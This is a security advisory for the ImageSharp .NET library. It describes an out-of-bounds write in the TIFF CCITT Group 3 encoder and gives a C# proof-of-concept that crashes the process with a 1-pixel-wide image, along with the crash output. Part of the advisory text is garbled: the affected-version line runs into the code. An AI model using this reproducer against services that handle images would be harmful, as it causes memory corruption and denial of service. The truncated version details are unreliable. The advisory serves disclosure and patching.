GHSA-j9gm-c75j-xc9q ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer

• NuGet SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 → fixed in 3.2.0 • NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2

Summary ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process. This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content. Affected package and versions • Package: `SixLabors.ImageSharp` (NuGet) • Affected range: `>= 2.0.0, 0 ? args[0] : "exploit"; int width = mode == "control" ? 64 : 1; int height = args.Length > 1 ? int.Parse(args[1]) : 2000; Console.WriteLine($"mode={mode} width={width} height={height}"); using var image = new Image(width, height); for (int y = 0; y < image.Height; y++) for (int x = 0; x < image.Width; x++) image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0)); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); metadata.BitsPerPixel = TiffBitsPerPixel.Bit1; metadata.Compression = TiffCompression.CcittGroup3Fax; using var output = new MemoryStream(); image.Save(output, new TiffEncoder()); Console.WriteLine($"Encoded OK: {output.Length} bytes"); ``` Against the published 4.1.1 package, this produced: ```text mode=exploit width=1 height=2000 Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at ...TiffCcittCompressor.GetWhiteTermCode(...) at ...T4BitCompressor.CompressStrip(...) ``` A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully: ```text mode=control width=64 height=2000 Encoded OK: 76230 bytes ``` The direct public configuration path also triggers with: ```csharp new TiffEncoder { BitsPerPixel = TiffBitsPerPixel.Bit1, Compression = TiffCompression.CcittGroup3Fax }; ```